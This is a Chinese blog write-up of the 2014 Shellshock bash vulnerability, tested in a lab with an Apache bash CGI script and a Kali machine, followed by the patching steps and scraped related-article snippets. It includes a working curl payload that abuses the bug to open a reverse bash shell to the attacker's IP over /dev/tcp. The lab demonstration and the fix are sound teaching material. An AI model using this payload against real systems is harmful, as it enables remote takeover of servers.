Bash漏洞深入分析及修补测试

2014年9月25日互联网爆出bash存在严重漏洞!
我当时一头雾水,不知发生何事,于是求助“度娘”才知道发生了惊天的大事。此漏洞比openssl的心血漏洞还牛X,简直就是放血!
当时,找到的方案是升级bash-4.1.2-15.el6_5.1.x86_64能解决。自己在虚拟机上测试了一下,并对照红帽当时官网的结果对比,自以为一切OK。结果9月26日中午,又得知那个补丁失效,需要再升级到bash-4.1.2-15.el6_5.2.x86_64 ,于是我零乱了,决定仔细研究一下这个漏洞。
【关键词】:bash、env、环境变量、CGI、netcat
【环境】:1台Centos6.4 x86_64(开启apche服务)、1台Kali Linux PC(BT5升级啦!),两机器互通。
【第一部分bash的漏洞出在哪里?】
Centos6.4 x86_64操作系统默认安装bash-4.1.2-14.e16.x86_64版本。
(1)先玩一下env命令。这个命令可以定义一个环境变量,并把这个变量作为参数放到后的shell命令中,这里的shell是bash shell。

(2)env还能定义类型为函数的环境变量,并把这个函数作为bash执行。

(3)bash的漏洞初见倪端!

【第二部分 基于bash漏洞的攻击演示】
这个漏洞攻击是有条件的:
a)被攻击对象上的程序在某一时刻使用bash作为校本解释器,并处理环境变量赋值。
b)环境变量赋值字符串的提交取决于用户的输入。
与我们生活息息相关的就是网页,我们直接会想到apache。web开发这里我不做详细介绍,但大家要知道bashcgi也可以写简单的易用的web框架,完成监控、自动化等实际需求。
(1)我们先把httpd服务启动,并在/var/www/cgi-bin目录下创建duozhu_cgi文件,该文件赋权限755,文件内容如下。
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo "    <body>"
echo "        ZhangDuozhu is in Beijing!"
echo "     </body>"
echo "</html>"

(2)使用浏览器访问这个页面,正常如下。

这个是模拟正常的用户访问,下面我们模拟攻击者的恶意行为。

(3)使用kali Linux提供的netcat工具(此工具详细说明请找度娘),执行netcat -lvp 8080监听本机的8080端口,然后再打开一个窗口执行curl命令构造一个不同寻常的http请求,命令如下:
curl -H ‘X: () { :;}; /bin/bash -i >& /dev/tcp/192.168.8.149/8080 0>&1‘  http://192.168.8.153/cgi-bin/duozhu_cgi
这个命令的作用是反弹一个bash shell到kali linux机器的8080端口上。

此时,在kali linux的监听窗口发生了奇迹如下,我们成功拿到了bash shell !!!

(4)于是我们可以进行如下操作,当然执行什么命令得看你人品。

哦~这个漏洞还是比较危险的!

【第三部分修复bash漏洞】
修复很简单,如果条件允许就直接执行yum update bash 升级到bash-4.1.2-15.el6_5.2.x86_64版本。
如果条件不允许,可直接用rpm包安装。

升级后的测试如下:
(1)升级后使用env命令,发现貌似不允许定义函数类型的环境变量了。
升级后

升级前

(2)当这个大招都不好使后,那么curl到的肯定是个正常的结果,netcat也没用了。

时间: 2024-10-12 21:53:47

Bash漏洞深入分析及修补测试的相关文章

服务器bash漏洞修补日记——2014/09/30

最近bash漏洞在网上闹得沸沸扬扬的,我也修补一下,以防万一. 需要用到的命令: 查看操作系统版本:cat /etc/issue 查看bash版本:bash -version 查看操作系统是64位还是32位:sudo uname --m 需要修复的ubuntu版本及bash版本: ubuntu 14.04 kylin (4.3.11) 64bit ubuntu 13.10 (4.2.45) 64bit ubuntu 12.04 (4.2.25) 64bit ubuntu 11.04 (4.2.2

PHP远程DoS漏洞深入分析及防护方案

5月14日,国内爆出php远程DoS漏洞,官方编号69364.利用该漏洞构造poc发起链接,很容易导致目标主机cpu的占用率100%,涉及PHP多个版本.绿盟科技威胁响应中心随即启动应急机制, 应急响应工作随即启动. 15日夜,启动漏洞分析工作,同步将分析结果发送产品团队: 16日,发布产品规则升级通告,绿盟科技RSAS产品升级相继就绪,客户通过在线及离线升级的方法,即可获得漏洞的检测能力:同时,在线漏洞检测引擎就绪: 17日,漏洞深入分析进行中.绿盟科技NIPS产品升级就绪,客户通过在线及离线

Linux“Bash”漏洞大爆发

9月25日,国外曝出一个“毁灭级”的Bash漏洞,黑客可利用此漏洞远程执行任意命令,完全控制目标系统! 该漏洞编号为CVE-2014-6271,主要存在于bash 1.14 - 4.3版本中,受影响的系统包括:Red Hat企业Linux (versions 4-7) .Fedora distribution.CentOS (versions 5-7).Ubuntu 10.04 LTS,12.04LTS和14.04 LTS.Debian等. 经验证,受此Bash漏洞影响最大的是网站和企业内网,以

PHP远程DoS漏洞深入分析快三红黑玩法及防护方案源码搭建

PHP远程DoS漏洞 PHP远程DoS漏洞深入分析快三红黑玩法(企鹅:212303635)及防护方案源码搭建(aqiulian.com) 4月3日,有人在PHP官网提交PHP 远程DoS漏洞(PHP Multipart/form-data remote dos Vulnerability),代号69364.由于该漏洞涉及PHP的所有版本,故其影响面较大,一经发布迅速引发多方面关注.14日,各种PoC已经在网络上流传.此次漏洞具备如下特性: 一旦被利用成功,可以在迅速消耗被***主机的CPU资源,

Bash漏洞安全加固

Bash漏洞加固方案 1 漏洞描述 前段时间做安全加固,使用的是绿盟的BVS扫描主机,根据扫描出的报告显示,存在两种Bash漏洞,分别为: ①GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271) GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行shell命令. ②GNU BashCVE-2014-6271不完整修复远程代码执行漏洞(CVE-2014-7

JS探测内网是否存在bash漏洞,反弹shell

来t00ls几天啦,也没时间写原创. --(本人首发土司啦.) 最近看到老外一篇文章,觉得很不错. 测试了一下把这个东西把过程分享给大伙,希望大伙不要踩,忙完这几天就写原创 调用一个js,扫描内网是否存在bash漏洞,然后反弹shell回来的一个小东西.搞APT应该用得到啦. 测试过程: 老外发的一个Poc我内网搭建测试 先监听了本地250端口 然后搭建之后访问 1 http://192.168.1.9/test.html?s=192.168.1.1&e3=1&e4=20&d=19

BASH漏洞需要补

一.使用 yum-downloadonly 插件 yum install yum-downloadonly -y 二. yum update bash --downloadonly --downloaddir=/var    #就会自动把对应系统的 bash 版本下载到目录 /var 下. ll /var/bash-4.1.2-15.el6_5.1.x86_64.rpm scp bash-4.1.2-15.el6_5.1.x86_64.rpm 到版本一样的其他机器上去 三.在其他机器上去安装新版

Linux Bash 漏洞最终解决方案

距24日报出Bash漏洞以来,Linux 系列相关已于25日给出了相关补丁,可是当天又出现问题,故需要重新打补丁:在机器上执行 yum -y update bash  之后,可通过以下命令来测试是否真正完成了补丁升级,系统处于安全层面: env -i  X='() { (a)=>\' bash -c 'echo date'; cat echo s\ ls 如果你的系统显示 系统时间 , 说明尚未脱离危险期,请升级 bash , 如下图: 如果显示为 date , 那么恭喜你,你的系统已经安全,如

Bash漏洞批量检测工具与修复方案

&amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" title="shellshock-bug-bash-bashbug-938x535.jpg"/&amp;amp;gt;&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/span&amp;amp;gt;&a